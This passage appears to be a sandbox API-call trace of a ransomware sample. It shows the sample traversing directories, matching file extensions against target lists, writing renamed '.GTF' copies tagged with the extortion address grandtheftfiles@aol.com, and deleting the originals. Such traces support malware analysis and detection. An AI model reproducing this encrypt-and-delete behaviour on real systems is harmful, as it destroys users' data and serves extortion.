	[0184.213] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0184.219] GetLastError () returned 0x0
	[0184.219] ReadFile (in: hFile=0x540, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2480, lpOverlapped=0x0) returned 1
	[0184.221] WriteFile (in: hFile=0x544, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2490, lpOverlapped=0x0) returned 1
	[0184.222] ReadFile (in: hFile=0x540, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.222] WriteFile (in: hFile=0x544, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.222] SetEndOfFile (hFile=0x544) returned 1
	[0184.222] CloseHandle (hObject=0x544) returned 1
	[0184.223] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.223] SetEndOfFile (hFile=0x540) returned 1
	[0184.225] CloseHandle (hObject=0x540) returned 1
	[0184.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 1
	[0184.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.226] lstrlenW (lpString=".doc") returned 4
	[0184.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString=".docx") returned 5
	[0184.227] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.227] lstrlenW (lpString=".pdf") returned 4
	[0184.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString=".xls") returned 4
	[0184.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.227] lstrlenW (lpString=".xlsx") returned 5
	[0184.227] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.227] lstrlenW (lpString=".ppt") returned 4
	[0184.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.227] lstrlenW (lpString=".zip") returned 4
	[0184.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.227] lstrlenW (lpString=".rar") returned 4
	[0184.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString=".bz2") returned 4
	[0184.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString=".7z") returned 3
	[0184.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.227] lstrlenW (lpString=".dbf") returned 4
	[0184.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.227] lstrlenW (lpString=".1cd") returned 4
	[0184.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.227] lstrlenW (lpString=".jpg") returned 4
	[0184.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.227] lstrlenW (lpString=".doc") returned 4
	[0184.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.227] lstrlenW (lpString=".docx") returned 5
	[0184.227] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.228] lstrlenW (lpString=".pdf") returned 4
	[0184.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.228] lstrlenW (lpString=".xls") returned 4
	[0184.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.228] lstrlenW (lpString=".xlsx") returned 5
	[0184.228] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.228] lstrlenW (lpString=".ppt") returned 4
	[0184.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.228] lstrlenW (lpString=".zip") returned 4
	[0184.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.228] lstrlenW (lpString=".rar") returned 4
	[0184.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.228] lstrlenW (lpString=".bz2") returned 4
	[0184.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.228] lstrlenW (lpString=".7z") returned 3
	[0184.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.228] lstrlenW (lpString=".dbf") returned 4
	[0184.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.228] lstrlenW (lpString=".1cd") returned 4
	[0184.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68
	[0184.228] lstrlenW (lpString=".jpg") returned 4
	[0184.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.228] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.228] lstrlenW (lpString="J0187837.WMF") returned 12
	[0184.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.230] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=16354) returned 1
	[0184.230] CloseHandle (hObject=0x540) returned 1
	[0184.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 0x220
	[0184.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.231] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.231] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0184.231] GetLastError () returned 0x0
	[0184.231] ReadFile (in: hFile=0x540, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3fe2, lpOverlapped=0x0) returned 1
	[0184.233] WriteFile (in: hFile=0x544, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3ff0, lpOverlapped=0x0) returned 1
	[0184.258] ReadFile (in: hFile=0x540, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.258] WriteFile (in: hFile=0x544, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.258] SetEndOfFile (hFile=0x544) returned 1
	[0184.258] CloseHandle (hObject=0x544) returned 1
	[0184.258] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.259] SetEndOfFile (hFile=0x540) returned 1
	[0184.262] CloseHandle (hObject=0x540) returned 1
	[0184.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 1
	[0184.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.263] lstrlenW (lpString=".doc") returned 4
	[0184.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString=".docx") returned 5
	[0184.264] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.264] lstrlenW (lpString=".pdf") returned 4
	[0184.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString=".xls") returned 4
	[0184.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.264] lstrlenW (lpString=".xlsx") returned 5
	[0184.264] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.264] lstrlenW (lpString=".ppt") returned 4
	[0184.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.264] lstrlenW (lpString=".zip") returned 4
	[0184.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.264] lstrlenW (lpString=".rar") returned 4
	[0184.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString=".bz2") returned 4
	[0184.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString=".7z") returned 3
	[0184.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.264] lstrlenW (lpString=".dbf") returned 4
	[0184.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.264] lstrlenW (lpString=".1cd") returned 4
	[0184.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.264] lstrlenW (lpString=".jpg") returned 4
	[0184.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.264] lstrlenW (lpString=".doc") returned 4
	[0184.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.264] lstrlenW (lpString=".docx") returned 5
	[0184.264] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.264] lstrlenW (lpString=".pdf") returned 4
	[0184.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.265] lstrlenW (lpString=".xls") returned 4
	[0184.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.265] lstrlenW (lpString=".xlsx") returned 5
	[0184.265] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.265] lstrlenW (lpString=".ppt") returned 4
	[0184.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.265] lstrlenW (lpString=".zip") returned 4
	[0184.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.265] lstrlenW (lpString=".rar") returned 4
	[0184.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.265] lstrlenW (lpString=".bz2") returned 4
	[0184.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.265] lstrlenW (lpString=".7z") returned 3
	[0184.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.265] lstrlenW (lpString=".dbf") returned 4
	[0184.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.265] lstrlenW (lpString=".1cd") returned 4
	[0184.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68
	[0184.265] lstrlenW (lpString=".jpg") returned 4
	[0184.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.265] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.265] lstrlenW (lpString="J0187839.WMF") returned 12
	[0184.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.266] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=5372) returned 1
	[0184.266] CloseHandle (hObject=0x540) returned 1
	[0184.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) returned 0x220
	[0184.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.267] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.267] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0184.268] GetLastError () returned 0x0
	[0184.268] ReadFile (in: hFile=0x540, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x14fc, lpOverlapped=0x0) returned 1
	[0184.484] WriteFile (in: hFile=0x544, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1500, lpOverlapped=0x0) returned 1
	[0184.485] ReadFile (in: hFile=0x540, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.486] WriteFile (in: hFile=0x544, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.486] SetEndOfFile (hFile=0x544) returned 1
	[0184.486] CloseHandle (hObject=0x544) returned 1
	[0184.486] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.486] SetEndOfFile (hFile=0x540) returned 1
	[0184.488] CloseHandle (hObject=0x540) returned 1
	[0184.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) 

Thread:
	id = 48
	os_tid = 0xe24

	[0152.807] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4100048
	[0152.807] lstrlenW (lpString="C:") returned 2
	[0152.807] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5ba730
	[0152.808] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0152.808] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0152.808] lstrlenW (lpString="$GetCurrent") returned 11
	[0152.808] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0152.808] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0152.808] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0152.808] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.808] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0152.808] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5487e2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0152.808] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0152.808] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0152.809] lstrlenW (lpString="Logs") returned 4
	[0152.809] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0152.809] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.809] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0152.809] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5487e2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.810] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5487e2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.810] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b6fa542, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b6fa542, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b720eb8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DOWNLE~1.GTF")) returned 1
	[0152.810] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 79
	[0152.810] lstrlenW (lpString=".1cd") returned 4
	[0152.810] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0152.810] lstrlenW (lpString=".3ds") returned 4
	[0152.810] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0152.810] lstrlenW (lpString=".3fr") returned 4
	[0152.810] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0152.810] lstrlenW (lpString=".3g2") returned 4
	[0152.810] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0152.810] lstrlenW (lpString=".3gp") returned 4
	[0152.810] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0152.810] lstrlenW (lpString=".7z") returned 3
	[0152.810] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0152.810] lstrlenW (lpString=".accda") returned 6
	[0152.810] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0152.810] lstrlenW (lpString=".accdb") returned 6
	[0152.810] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0152.810] lstrlenW (lpString=".accdc") returned 6
